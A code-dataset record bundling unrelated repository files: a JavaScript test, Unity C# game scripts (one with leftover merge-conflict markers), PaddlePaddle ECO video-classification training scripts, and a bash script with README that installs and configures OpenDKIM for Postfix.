branch_name
stringclasses 149
values | text
stringlengths 23
89.3M
| directory_id
stringlengths 40
40
| languages
listlengths 1
19
| num_files
int64 1
11.8k
| repo_language
stringclasses 38
values | repo_name
stringlengths 6
114
| revision_id
stringlengths 40
40
| snapshot_id
stringlengths 40
40
|
---|---|---|---|---|---|---|---|---|
refs/heads/master
|
<repo_name>gcoombe/ie9-selector-counter<file_sep>/test/counterTests.js
var assert = require('assert')
var counter = require('../lib/counter');
var path = require('path');
describe("counter", function () {
it("processes imports as expected", function () {
var count = counter.count(path.resolve(__dirname, "./testFiles/root.css"));
assert.equal(count, 3, "After importing there should be 3 selectors. Count = " + count);
});
});
|
d59ad9c7f1147b0fcb77a578b8e8de6836646108
|
[
"JavaScript"
] | 1 |
JavaScript
|
gcoombe/ie9-selector-counter
|
21290467d51d22ddee6f05ba221f9763c18fdef6
|
64cc1dc48732836fdd96347a456fe8d893f9bde4
|
refs/heads/main
|
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Enemies : MonoBehaviour
{
private GameObject playerRef;
public GameObject Damage;
public float speed = 3;
private bool detectPlayer = false;
private float detectionRange = 15;
// Start is called before the first frame update
void Start()
{
playerRef = GameObject.FindGameObjectWithTag("Player");
gameObject.tag = "Damage";
}
// Update is called once per frame
void Update()
{
float disToPlayer = (transform.position - playerRef.transform.position).magnitude;
if (detectPlayer && playerRef != null)
{
Vector3 distanceToPlayer = (playerRef.transform.position - transform.position).normalized;
speed = 4;
transform.forward = distanceToPlayer;
transform.position += distanceToPlayer * speed * Time.deltaTime;
if(disToPlayer > detectionRange)
{
detectPlayer = false;
}
}
else
{
if(disToPlayer <= detectionRange)
{
detectPlayer = true;
}
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class Timer : MonoBehaviour
{
public float timeRemaining = 10;
public bool timerIsRunning = false;
void Start()
{
}
void Update()
{
//this will run as long as the timerIsRunning boolean is true.
if (timerIsRunning)
{
if (timeRemaining > 0)
{
//subtracts time
timeRemaining -= Time.deltaTime;
}
else
{
//this displays to the console tha the time has run out.
Debug.Log("Time has run out!");
timeRemaining = 0;
timerIsRunning = false;
SceneManager.LoadScene("DeathScene");
}
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CameraFollow : MonoBehaviour
{
public Transform player; //Public variable to store a reference to the player game object
private Vector3 offset; //Private variable to store the offset distance between the player and camera
[Range(0.01f, 1.0f)]
public float smoothness; //some game dev friendly variables so they can just adjust the camera rotation through inspector
public bool lookAtPlayer = true;
public bool rotateAroundPlayer = true; //some basic bools depending on how we want this to work
public float rotationSpeed = 5.0f;
// Using this for initialization
void Start()
{
//Calculate and store the offset value by getting the distance between the player's position and camera's position.
offset = transform.position - player.position;
}
// LateUpdate is called after Update each frame
void LateUpdate()
{
if (rotateAroundPlayer)
{
Quaternion camTurnAngle = Quaternion.AngleAxis(Input.GetAxis("Mouse X") * rotationSpeed, Vector3.up);
//resets offset.
offset = camTurnAngle * offset;
}
// Set the position of the camera's transform to be the same as the player's, but offset by the calculated offset distance.
Vector3 newPos = player.position + offset;
transform.position = Vector3.Slerp(transform.position, newPos, smoothness);
if (lookAtPlayer || rotateAroundPlayer)
{
transform.LookAt(player);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine.SceneManagement;
using UnityEngine;
public class PlayerController : MonoBehaviour
{
public Rigidbody rgb;
//movement floats
public float speed = .1f; //speed of walking
public float jumpStrength = 0.05f;
public float rotationSpeed = 360;
//positions lol Logan misheard me, this is if we finish the game earlier then I expect
public float xPause;
public float yPause;
public float zPause;
public Timer timer;
//last minute hot fix trash variables
public int count;
public int maxJumpTime = 100;
//input axes
private string moveInputAxis = "Vertical"; //this one will only control moving the player
private string rotateInputAxis = "Horizontal"; //this one will only control rotation.
private string jumpInputAxis = "Jump";
// Update is called once per frame
void Update()
{
float moveAxis = Input.GetAxis(moveInputAxis);
float rotateAxis = Input.GetAxis(rotateInputAxis); //getting references to the unity axes
float jumpAxis = Input.GetAxis(jumpInputAxis);
ApplyInput(moveAxis, rotateAxis, jumpAxis); //this will update our position pretty easily, need to add jump but I want this working before I rewrite Logan's script
}
private void ApplyInput(float moveInput, float turnInput, float jumpInput) //just creating methods for all of this so it is easier to read
{
Move(moveInput);
Turn(turnInput);
Jump(jumpInput);
}
//movement method
private void Move(float input)
{
transform.Translate(Vector3.forward*input*speed);
}
//rotate the player
private void Turn(float input)
{
transform.Rotate(0, input * rotationSpeed * Time.deltaTime, 0);
}
//if you are reviewing the code I have written lets just skip over this mess.
private void Jump(float input)
{
if (input > 0)
{
if (count<maxJumpTime)
{
transform.Translate(Vector3.up * (input * jumpStrength));
count++;
}
}else if (count >= maxJumpTime)
{
count++;
if(count <= maxJumpTime*3)
{
count = 0;
}
}
}
//instant death method
private void OnCollisionEnter(Collision other)
{
//death
if (other.gameObject.tag == "Damage")
{
Debug.Log("Hit Me!!!");
SceneManager.LoadScene("DeathScene");
}
//win
if(other.gameObject.tag == "Win") //win will probably be changed later depending on game designers
{
Debug.Log("I won 0-0");
SceneManager.LoadScene("WinScene");
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class MainMenu : MonoBehaviour
{
public void PlayGame ()
{
<<<<<<< HEAD
SceneManager.LoadScene("ClockLevel 1");
=======
SceneManager.LoadScene("ClockLevel");
>>>>>>> 8d9619ee4717d19bd32d597bd18c7981ef8364aa
}
public void QuitGame ()
{
Debug.Log("QUIT!");
Application.Quit();
}
}
|
397280a68add7d5d701e3b9f327982050916f6b7
|
[
"C#"
] | 5 |
C#
|
ClockingOutTeam/ClockingOut
|
cb0d5c48a49c5a83187dbb3d6fa2a7f164dd687c
|
77746dffc14a0180c56ef5a577a1db93d64822db
|
refs/heads/master
|
<file_sep>import paddle.fluid as fluid
from pathlib import Path
import numpy as np
import os
import shutil
import pickle
from visualdl import LogWriter
from opts import parser
from model import ECOfull
from config import parse_config, print_configs
from reader import KineticsReader
best_acc = 0
def read_best_acc():
filename = Path('models/best_val_acc.txt')
if filename.exists():
with open(filename, 'r') as f:
line = f.readline().strip().split()[-1]
line = float(line)
return line
else:
return 0
def validate(val_reader, feeder, place, program, fetch_list, epoch=0, writer=None):
global best_acc
exe = fluid.Executor(place)
val_avg_loss = []
val_acc = []
for data in val_reader():
avg_cost_, acc_ = exe.run(program, feed=feeder.feed(data), fetch_list=fetch_list)
val_avg_loss += [avg_cost_]
val_acc += [acc_]
val_avg_loss = np.array(val_avg_loss).mean()
val_avg_acc = np.array(val_acc).mean()
if writer:
writer.add_scalar(tag='val/loss', step=(epoch+1), value = val_avg_loss )
writer.add_scalar(tag='val/acc', step=(epoch+1), value = val_avg_acc )
print(f'epoch:{epoch+1} val avg_loss:{val_avg_loss} eval acc:{val_avg_acc}')
fluid.io.save(fluid.default_main_program(), args.snapshot_pref)
if val_avg_acc > best_acc:
best_acc = val_avg_acc
for item in ['.pdmodel', '.pdparams', '.pdopt']:
src = args.snapshot_pref + item
dst = args.snapshot_pref + '_best' + item
shutil.copy(src, dst)
os.system(f'echo {val_avg_loss} {val_avg_acc} > {Path(args.snapshot_pref).parent}/best_val_acc.txt')
def main():
global args, best_acc
args = parser.parse_args()
writer = LogWriter(args.log)
# writer = None
cfg = parse_config('config.txt')
print_configs(cfg, 'TRAIN')
main_program = fluid.default_main_program()
start_program = fluid.default_startup_program()
place = fluid.CUDAPlace(0) if args.use_cuda else fluid.CPUPlace()
with fluid.program_guard(main_program, start_program):
# data placeholder
input = fluid.data(name='data', shape=[-1, 3, 224, 224], dtype='float32')
label = fluid.data(name='label', shape=[-1, 1], dtype='int64')
print(f'label shape:{label.shape}')
model = ECOfull(input, num_segments= args.num_segments)
net_out = model()
cost = fluid.layers.softmax_with_cross_entropy(net_out, label)
avg_cost = fluid.layers.mean(cost)
acc = fluid.layers.accuracy(net_out, label)
# test program
eval_program = main_program.clone(for_test=True)
# optimizer
fluid.optimizer.SGD(args.lr).minimize(avg_cost)
#print(main_program.all_parameters())
reader = KineticsReader('eco', 'train', cfg).create_reader()
feeder = fluid.DataFeeder([input, label], place)
# 验证集
val_reader = KineticsReader('eco', 'valid', cfg).create_reader()
# 初始化参数
exe = fluid.Executor(place=place)
exe.run(start_program)
train_exe = fluid.Executor(place=place)
if 0:
# fluid.io.load(train_exe, 'models/', filename='eco_full.pdparams')
fluid.io.load(main_program, 'models/eco_full_best', train_exe)
# # pre-trained
else:
f = open('program_state_dict.pkl', 'rb')
state_dict = pickle.load(f)
f.close()
fluid.io.set_program_state(main_program, state_dict)
step = 0
best_acc = read_best_acc()
for i in range(args.epochs):
for index, data in enumerate(reader()):
avg_cost_, acc_ = train_exe.run(main_program, feed=feeder.feed(data), fetch_list=[avg_cost.name, acc.name])
if (index + 1) % args.print_freq == 0:
if not writer is None:
writer.add_scalar(tag='train/loss', step=step, value=avg_cost_[0])
writer.add_scalar(tag='train/acc', step=step, value=acc_[0])
print(f'epoch:{i+1} step:{index + 1} avg loss:{avg_cost_[0]} acc:{acc_[0]}')
step += 1
if (i + 1) % args.eval_freq == 0:
fetch_list = [avg_cost.name, acc.name]
validate(val_reader, feeder, place, eval_program, fetch_list, epoch=i, writer=writer)
if __name__=='__main__':
main()
<file_sep>from pathlib import Path
import os
import cv2
import pickle
from multiprocessing.pool import Pool
from multiprocessing import cpu_count
data_path = Path('/home/aistudio/data')
dataset_path_root = data_path / 'UCF-101'
dataset_path = '/home/aistudio/data/data48916/UCF-101.zip'
def unrar(filename):
# 解压数据
if not data_path.exists():
data_path.mkdir()
if not dataset_path_root.exists():
dataset_path_root.mkdir()
# os.system(f'rar x {filename} {data_path}')
os.system(f'unzip {filename} -d {data_path}')
def video2jpg(sample):
print(f'convert {sample}.')
jpg_dir = sample.with_suffix('')
jpg_dir.mkdir(parents=True)
cap = cv2.VideoCapture(str(sample))
frame_count = 1
ret = True
while ret:
ret, frame = cap.read()
if ret:
cv2.imwrite(str(jpg_dir / (sample.stem + '_%04d.jpg' % frame_count )), frame)
frame_count += 1
cap.release()
sample.unlink()
def generate_train_val_list():
train_dir = data_path / 'train'
val_dir = data_path / 'val'
if not train_dir.exists():
train_dir.mkdir()
if not val_dir.exists():
val_dir.mkdir()
classInd_file = Path('config/classInd.txt')
trian_list = Path('config/trainlist01.txt')
test_list = Path('config/testlist01.txt')
classInd = {}
with open(classInd_file) as ff:
for line in ff:
line = line.strip()
if not line:
continue
index, name = line.split()
index = int(index) - 1
classInd[name] = index
with open(trian_list) as ff:
for line in ff:
line = line.strip()
if not line:
continue
avi, index = line.split()
index = int(index) - 1
avi = dataset_path_root / Path(avi).with_suffix('')
frame = [str(x) for x in sorted(avi.glob('*jpg'))]
pkl_name = avi.with_suffix('.pkl').name
out_pkl = train_dir / pkl_name
f = open(out_pkl, 'wb')
pickle.dump((avi.stem, index, frame), f, -1)
f.close()
with open(test_list) as ff:
for line in ff:
line = line.strip()
if not line:
continue
avi = line
index = classInd[Path(avi).parent.stem]
avi = dataset_path_root / Path(avi).with_suffix('')
frame = [str(x) for x in sorted(avi.glob('*jpg'))]
pkl_name = avi.with_suffix('.pkl').name
out_pkl = val_dir / pkl_name
f = open(out_pkl, 'wb')
pickle.dump((avi.stem, index, frame), f, -1)
f.close()
train_content = '\n'.join(map(str, train_dir.glob('*.pkl')))
val_content = '\n'.join(map(str, val_dir.glob('*.pkl')))
(data_path / 'train.list').write_text(train_content)
(data_path / 'val.list').write_text(val_content)
def func(args):
'''
cls: class name
sample: video name
'''
cls, sample = args
avi_path_jpg = dataset_path_root / (cls + '_jpg') / sample.stem
print(f'doing: convert {sample} to {avi_path_jpg}')
cap = cv2.VideoCapture(str(sample))
frame_count = 1
ret = True
while ret:
ret, frame = cap.read()
if ret:
cv2.imwrite(str(avi_path_jpg / (sample.stem + '_%d.jpg' % frame_count )), frame)
frame_count += 1
cap.release()
sample.unlink()
def jpg2pkl_and_gen_data_list():
train_dir = dataset_path_root / 'train'
val_dir = dataset_path_root / 'val'
if not train_dir.exists():
train_dir.mkdir()
if not val_dir.exists():
val_dir.mkdir()
classInd_file = Path('config/classInd.txt')
trian_list = Path('config/trainlist01.txt')
test_list = Path('config/testlist01.txt')
classInd = {}
with open(classInd_file) as ff:
for line in ff:
line = line.strip()
if not line:
continue
index, name = line.split()
index = int(index) - 1
classInd[name] = index
with open(trian_list) as ff:
for line in ff:
line = line.strip()
if not line:
continue
avi, index = line.split()
index = int(index) - 1
avi = dataset_path_root / (Path(avi).parent.stem + '_jpg') / Path(avi).stem
frame = [str(x) for x in sorted(avi.glob('*jpg'))]
pkl_name = avi.with_suffix('.pkl').name
out_pkl = train_dir / pkl_name
f = open(out_pkl, 'wb')
pickle.dump((avi.stem, index, frame), f, -1)
f.close()
with open(test_list) as ff:
for line in ff:
line = line.strip()
if not line:
continue
avi = line
index = classInd[Path(avi).parent.stem]
avi = dataset_path_root / (Path(avi).parent.stem + '_jpg') / Path(avi).stem
frame = [str(x) for x in sorted(avi.glob('*jpg'))]
pkl_name = avi.with_suffix('.pkl').name
out_pkl = val_dir / pkl_name
f = open(out_pkl, 'wb')
pickle.dump((avi.stem, index, frame), f, -1)
f.close()
train_content = '\n'.join(map(str, train_dir.glob('*.pkl')))
val_content = '\n'.join(map(str, val_dir.glob('*.pkl')))
(dataset_path_root / 'train.list').write_text(train_content)
(dataset_path_root / 'val.list').write_text(val_content)
if __name__ == '__main__':
# unrar dataset
# unrar(dataset_path)
videos = []
for cls in dataset_path_root.iterdir():
for avi in cls.glob('*avi'):
videos += [avi]
# avi2jpg
pool = Pool(processes=cpu_count())
pool.map_async(video2jpg, videos)
pool.close()
pool.join()
print('avi2jpg 结束。')
generate_train_val_list()
<file_sep># import torch
# from torch import nn
from layer_factory import get_basic_layer, parse_expr
# import torch.utils.model_zoo as model_zoo
import yaml
import paddle.fluid as fluid
class ECOfull:
def __init__(self, input, model_path='ECOfull.yaml', num_classes=101,
num_segments=4, pretrained_parts='both'):
super(ECOfull, self).__init__()
self.num_segments = num_segments
self.pretrained_parts = pretrained_parts
manifest = yaml.load(open(model_path))
layers = manifest['layers']
self._channel_dict = dict()
# in_tmp = input
setattr(self, 'data', input)
self._op_list = list()
for l in layers:
out_var, op, in_var = parse_expr(l['expr'])
id = l['id']
if op != 'Concat' and op != 'Eltwise' and op != 'InnerProduct':
in_channel = getattr(self, in_var[0])
if out_var[0] == 'res3a_2' or out_var[0] == 'global_pool2D_reshape_consensus':
in_channel_tmp = fluid.layers.reshape(in_channel, (-1, self.num_segments)+ in_channel.shape[1:])
in_channel = fluid.layers.transpose(in_channel_tmp, [0, 2, 1, 3, 4])
id, out_name, module, in_name = get_basic_layer(l, in_channel, True, num_segments=num_segments)
setattr(self, id, module)
elif op == 'Concat':
try:
in_channel = [getattr(self, var) for var in in_var]
module = fluid.layers.concat(in_channel, 1, name=id)
setattr(self, id, module)
except:
for x in in_channel:
print(x.shape)
raise 'eeeeee'
elif op == 'InnerProduct':
in_channel = getattr(self, in_var[0])
in_channel = fluid.layers.reshape(in_channel, (-1, in_channel.shape[1]))
module = get_basic_layer(l, in_channel)
setattr(self, id, module)
else:
x1 = getattr(self, in_var[0])
x2 = getattr(self, in_var[1])
module = fluid.layers.elementwise_add(x1, x2, 1)
setattr(self, id, module)
def __call__(self):
return getattr(self, 'fc_final')[2]
if __name__ == '__main__':
main_program = fluid.default_main_program()
with fluid.program_guard(main_program):
data = fluid.data(name='data', shape=[16*4,3,224,224])
net = ECOfull(data)
out = net()
# prog = fluid.default_main_program()
print('---'*50)
# print(prog.to_string(False, True))
print(main_program.all_parameters())<file_sep>import paddle.fluid as fluid
from pathlib import Path
import numpy as np
import os
import shutil
import pickle
from visualdl import LogWriter
from opts import parser
from model import ECOfull
from config import parse_config, print_configs
from reader import KineticsReader
args = parser.parse_args()
cfg = parse_config('config.txt')
# print_configs(cfg, 'TRAIN')
main_program = fluid.default_main_program()
start_program = fluid.default_startup_program()
place = fluid.CUDAPlace(0) if args.use_cuda else fluid.CPUPlace()
with fluid.program_guard(main_program, start_program):
# data placeholder
input = fluid.data(name='data', shape=[-1, 3, 224, 224], dtype='float32')
label = fluid.data(name='label', shape=[-1, 1], dtype='int64')
print(f'label shape:{label.shape}')
model = ECOfull(input, num_segments= args.num_segments)
net_out = model()
cost = fluid.layers.softmax_with_cross_entropy(net_out, label)
avg_cost = fluid.layers.mean(cost)
acc = fluid.layers.accuracy(net_out, label)
# test program
eval_program = main_program.clone(for_test=True)
# optimizer
fluid.optimizer.SGD(args.lr).minimize(avg_cost)
# 验证集
val_reader = KineticsReader('eco', 'valid', cfg).create_reader()
feeder = fluid.DataFeeder([input, label], place)
# 初始化参数
exe = fluid.Executor(place=place)
exe.run(start_program)
val_exe = fluid.Executor(place=place)
fluid.io.load(main_program, 'models/eco_full_best', val_exe)
val_avg_loss = []
val_acc = []
fetch_list = [avg_cost.name, acc.name]
for data in val_reader():
avg_cost_, acc_ = exe.run(eval_program, feed=feeder.feed(data), fetch_list=fetch_list)
val_avg_loss += [avg_cost_]
val_acc += [acc_]
val_avg_loss = np.array(val_avg_loss).mean()
val_avg_acc = np.array(val_acc).mean()
print(f'val avg_loss:{val_avg_loss} eval acc:{val_avg_acc}')
|
cb56168c801485e55ef13027acdf6df8c509752c
|
[
"Python"
] | 4 |
Python
|
agrichron/eco-paddle
|
cc0cdf3b6f6bed01c0d58dd5afa2f93e6b020d79
|
9658c25374b78724fe3a754dbac4816cf87f4a78
|
refs/heads/master
|
<repo_name>btnz-k/smtp_config<file_sep>/README.md
# SMTP CONF
Written by BTNZ 2020
```text
Usage:
-h, -? Display this help message
-D <domain.com> Sets the domain to be configured.
-e Modifies the postfix main.cf file to ENABLE DKIM.
-d Modifies the postfix main.cf file to DISABLE DKIM.
-i Installs OpenDKIM and sets basic configurations.
Example:
./smtp_config.sh -D phish.com -e
This will configure DKIM with the domain phish.com( -D phish.com ), and will ensure the
configuration settings are correctly configured in the postfix and dkim configs.
./smtp_config.sh -i
This will install OpenDKIM and set base configuration.
./smtp_config.sh -d
This will comment out any DKIM configuration in the postfix main.cf file.
```
Todo:
* validate user input for domain
* validate postfix/opendkim configurations
* extend to provide dmarc TXT record
* enhance enable/disable functions to ensure all 4 configuration lines are present
* verify at least one myhostname is present and uncommented in postfix/main.cf
* check for postfix installation as a pre-flight check
<file_sep>/smtp_config.sh
#!/bin/bash
# Script to automate DKIM configuration
#
# DKIM CONFIGURATION SCRIPT
# Wanna know how to use this? run -h!!
#
# Written by BTNZ
VERSION="1.0.2020.03.05.1"
# init vars
DOMAIN=""
ENABLE=0
DISABLE=0
INSTALL=0
VERBOSE=0
# set script directory path
SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )"
#file location vars
TRUSTEDHOSTS="/etc/opendkim/TrustedHosts"
KEYTABLE="/etc/opendkim/KeyTable"
SIGNINGTABLE="/etc/opendkim/SigningTable"
KEYSFOLDER="/etc/opendkim/keys"
POSTFIX_MAIN="/etc/postfix/main.cf"
OPENDKIM_CONF="/etc/opendkim.conf"
OPENDKIM_DEFAULT="/etc/default/opendkim"
# text colors
BLACK=$(tput setaf 0)
RED=$(tput setaf 1)
GREEN=$(tput setaf 2)
YELLOW=$(tput setaf 3)
LIME_YELLOW=$(tput setaf 190)
POWDER_BLUE=$(tput setaf 153)
BLUE=$(tput setaf 4)
MAGENTA=$(tput setaf 5)
CYAN=$(tput setaf 6)
WHITE=$(tput setaf 7)
BRIGHT=$(tput bold)
NORMAL=$(tput sgr0)
BLINK=$(tput blink)
REVERSE=$(tput smso)
UNDERLINE=$(tput smul)
# Parse arguments
while getopts "D:hide?" option; do
case "${option}"
in
D) DOMAIN=${OPTARG};;
d) DISABLE=1;;
e) ENABLE=1;;
i) INSTALL=1;;
h|\?) printf "%s\n" " ______ ____________ _________ _ ______" " / __/ |/ /_ __/ _ \ / ___/ __ \/ |/ / __/" " _\ \/ /|_/ / / / / ___/ / /__/ /_/ / / _/" "/___/_/ /_/ /_/ /_/ \___/\____/_/|_/_/" "Written by BTNZ 2020" "$VERSION"
printf "\n"
printf "\t%s\n" "Usage:" " -h, -? Display this help message" " -D <domain.com> Sets the domain to be configured." " -e Modifies the postfix main.cf file to ENABLE DKIM." " -d Modifies the postfix main.cf file to DISABLE DKIM."
printf "\t%s\n\n" " -i Installs OpenDKIM and sets basic configurations."
printf "\t%s\n" "Example:" "$0 -D phish.com -e"
printf "\t\t%s\n" "This will configure DKIM with the domain phish.com( -D phish.com ), and will ensure the configuration settings"
printf "\t\t%s\n\n" "are correctly configured in the postfix and dkim configuration files."
printf "\t%s\n" "$0 -i"
printf "\t\t%s\n\n" "This will install OpenDKIM and set base configuration."
printf "\t%s\n" "$0 -d"
printf "\t\t%s\n\n" "This will comment out any DKIM configuration in the postfix main.cf file."
exit 0;;
esac
done
# functions used
install_opendkim(){
#TIMESTAMP var for old confs
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
# checking for already installed
printf "%s\n" " ${CYAN}[+]${NORMAL} Installation flag set. Checking to see if OpenDKIM is installed."
if [ -z "$(command -v opendkim-genkey)" ]; then
printf "%s\n" " ${CYAN}[+]${NORMAL} OpenDKIM missing, installing through apt-get."
DEBIAN_FRONTEND=noninteractive apt-get install -yqq opendkim opendkim-tools 2>&1 >> /dev/null
# test to make sure install was successful, else quit
if [ -z $(command -v opendkim-genkey) ]; then
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}" " ${RED}[!]${NORMAL} Installation seems to have been unsuccessful. Please manually install" " ${RED}[!]${NORMAL} opendkim and opendkim-tools (sudo apt-get install opendkim openkdim-tools) and try again."
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}"
exit 1
fi
printf "%s\n" " ${CYAN}[+]${NORMAL} Pulling down base configurations for OpenDKIM."
# copy default config to .old
mv "$OPENDKIM_CONF" "$OPENDKIM_CONF.$TIMESTAMP.old" 2>/dev/null
# Pull down configuration file gist for OpenDKIM
cp -f "$SCRIPTPATH/opendkim.conf" "$OPENDKIM_CONF"
# move default $OPENDKIM_DEFAULT to .old
mv "$OPENDKIM_DEFAULT" "$OPENDKIM_DEFAULT.$TIMESTAMP.old" 2>/dev/null
# Pull down configuration file gist for OpenDKIM
cp -f "$SCRIPTPATH/etc_default_opendkim" "$OPENDKIM_DEFAULT"
# make directory structure
printf " ${CYAN}[+]${NORMAL} Creating OpenDKIM folders.\n"
if [ ! -d "$KEYSFOLDER" ]; then
mkdir -p "$KEYSFOLDER"
fi
# prepopulate TrustedHosts, KeyTable, and SigningTable with commented out defaults
printf " ${CYAN}[+]${NORMAL} Importing base configurations for TrustedHosts, KeyTable, and SigningTable.\n"
cp -f "$SCRIPTPATH/opendkim_TrustedHosts" "$TRUSTEDHOSTS"
cp -f "$SCRIPTPATH/opendkim_KeyTable" "$KEYTABLE"
cp -f "$SCRIPTPATH/opendkim_SigningTable" "$SIGNINGTABLE"
else
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}" " ${RED}[!]${NORMAL} OpenDKIM is already installed. If you wish to reinstall with baseline configs, please uninstall" " ${RED}[!]${NORMAL} opendkim manually and re-run this script with the -i option ( $0 -i )."
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}"
exit 1
fi
printf "%s\n" " ${CYAN}[+]${NORMAL} Installation Complete!"
}
enable_opendkim(){
# add/uncomment the following lines to $POSTFIX_MAIN
#milter_protocol = 2
#milter_default_action = accept
#smtpd_milters = inet:localhost:8892
#non_smtpd_milters = inet:localhost:8892
printf "%s\n" " ${CYAN}[+]${NORMAL} Enabling OpenDKIM configuration."
# check to see if lines are present
MILTERPRESENT=$(grep -F milter "$POSTFIX_MAIN")
if [ ! -z "$MILTERPRESENT" ]; then
# ensure lines are not commented out
printf "%s\n" " ${CYAN}[+]${NORMAL} Configuration settings found, removing comment character."
sed -i 's,^#milter_protocol = 2,milter_protocol = 2,g' "$POSTFIX_MAIN"
sed -i 's,^#milter_default_action = accept,milter_default_action = accept,g' "$POSTFIX_MAIN"
sed -i 's,^#smtpd_milters = inet:localhost:8892,smtpd_milters = inet:localhost:8892,g' "$POSTFIX_MAIN"
sed -i 's,^#non_smtpd_milters = inet:localhost:8892,non_smtpd_milters = inet:localhost:8892,g' "$POSTFIX_MAIN"
else
# did not find lines w/ the word MILTER, append lines to end of config file
printf "%s\n" " ${CYAN}[+]${NORMAL} No configuration settings found, adding settings to config file."
echo "" >> "$POSTFIX_MAIN"
echo "milter_protocol = 2" >> "$POSTFIX_MAIN"
echo "milter_default_action = accept" >> "$POSTFIX_MAIN"
echo "smtpd_milters = inet:localhost:8892" >> "$POSTFIX_MAIN"
echo "non_smtpd_milters = inet:localhost:8892" >> "$POSTFIX_MAIN"
fi
printf "%s\n\n" " ${CYAN}[+]${NORMAL} OpenDKIM has been enabled!"
}
disable_opendkim(){
# comment out these lines in $POSTFIX_MAIN
#milter_protocol = 2
#milter_default_action = accept
#smtpd_milters = inet:localhost:8892
#non_smtpd_milters = inet:localhost:8892
# check to see if lines are present
MILTERPRESENT=$(grep -F milter "$POSTFIX_MAIN")
if [ ! -z "$MILTERPRESENT" ]; then
printf "%s\n" " ${CYAN}[+]${NORMAL} Configuration settings found, adding comment character for applicable lines."
# ensure lines are commented out
sed -i 's,^milter_protocol = 2,#milter_protocol = 2,g' "$POSTFIX_MAIN"
sed -i 's,^milter_default_action = accept,#milter_default_action = accept,g' "$POSTFIX_MAIN"
sed -i 's,^smtpd_milters = inet:localhost:8892,#smtpd_milters = inet:localhost:8892,g' "$POSTFIX_MAIN"
sed -i 's,^non_smtpd_milters = inet:localhost:8892,#non_smtpd_milters = inet:localhost:8892,g' "$POSTFIX_MAIN"
fi
printf "%s\n\n" " ${CYAN}[+]${NORMAL} OpenDKIM has been disabled."
}
domain_opendkim(){
if [ ! -z "$DOMAIN" ]; then
printf "%s\n" " ${CYAN}[+]${NORMAL} Configuring OpenDKIM for domain $DOMAIN" " ${CYAN}[+]${NORMAL} Adding domain (mail.$DOMAIN) to postfix main.cf file for myhostname variable."
# remove any commented out #myhostname lines
sed -i '/^#myhostname/d' "$POSTFIX_MAIN"
# change hostname line to match mail.domain.com
sed -i "s/^myhostname =.*/myhostname = mail.$DOMAIN/" "$POSTFIX_MAIN"
printf "%s\n" " ${CYAN}[+]${NORMAL} Creating required folders at $KEYSFOLDER/$DOMAIN."
# create folder for keys
if [ ! -d "$KEYSFOLDER/$DOMAIN" ]; then
mkdir -p "$KEYSFOLDER/$DOMAIN"
fi
printf "%s\n" " ${CYAN}[+]${NORMAL} Adding $DOMAIN to TrustedHosts file."
# ensure domain present in $TRUSTEDHOSTS
if [ -z $(grep -i "^*.$DOMAIN" "$TRUSTEDHOSTS") ]; then
echo "*.$DOMAIN" >> "$TRUSTEDHOSTS"
fi
printf "%s\n" " ${CYAN}[+]${NORMAL} Adding $DOMAIN to KeyTable."
# add keytable info to $KEYTABLE
if [ -z $(grep -i "^mail._domainkey.$DOMAIN" "$KEYTABLE") ]; then
# if key not found in table, add
echo "mail._domainkey.$DOMAIN $DOMAIN:mail:$KEYSFOLDER/$DOMAIN/mail.private" >> "$KEYTABLE"
fi
printf "%s\n" " ${CYAN}[+]${NORMAL} Adding $DOMAIN to SigningTable."
# add signing table info to $SIGNINGTABLE
if [ -z $(grep -i "^*@$DOMAIN " "$SIGNINGTABLE") ]; then
echo "*@$DOMAIN mail._domainkey.$DOMAIN" >> "$SIGNINGTABLE"
fi
printf "%s\n" " ${CYAN}[+]${NORMAL} Generating DKIM keys for $DOMAIN."
# generate keys
cd "$KEYSFOLDER/$DOMAIN"
opendkim-genkey -s mail -d "$DOMAIN"
chown opendkim:opendkim mail.private
printf "%s\n" " ${CYAN}[+]${NORMAL} Formatting DNS entry."
# command to format mail.txt
TEMPSTR=$(cat "$KEYSFOLDER/$DOMAIN/mail.txt" | tr -d '\n' | tr '()' ' '| tr -d '"' | tr '\t' ' ' | sed 's, *, ,g' | cut -d';' -f1-4)
HEAD=$(echo "$TEMPSTR" | cut -d";" -f1-3)
TAIL=$(echo "$TEMPSTR" | cut -d";" -f4 | tr -d " ")
DNSENTRYFULL=$(echo "$HEAD $TAIL")
DNSENTRY_HOST=$(echo "$DNSENTRYFULL" | cut -d" " -f1)
DNSENTRY_DATA=$(echo "$DNSENTRYFULL" | cut -d" " -f4-7)
#display the DNS entry
printf "%s\n" " ${GREEN}[*] ******************************** INFO ******************************** [*]${NORMAL}" " ${GREEN}[*]${NORMAL} Please add the following as a TXT record in DNS. " " ${GREEN}[*]${NORMAL}" " ${GREEN}[*]${NORMAL} Host: $DNSENTRY_HOST" " ${GREEN}[*]${NORMAL} Domain: $DOMAIN" " ${GREEN}[*]${NORMAL} Record Type: TXT" " ${GREEN}[*]${NORMAL} Content: $DNSENTRY_DATA"
printf "%s\n" " ${GREEN}[*] ******************************** INFO ******************************** [*]${NORMAL}"
else
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}" " ${RED}[!]${NORMAL} DOMAIN has not been provided, and is required for this step. Please " " ${RED}[!]${NORMAL} re-run this script with the -D option include the domain ( $0 -D test.com)."
printf "%s\n" " ${RED}[!] ******************************** ERROR! ******************************** [!]${NORMAL}"
exit 1
fi
}
#######################################
###### start main script process ######
#######################################
# Banner
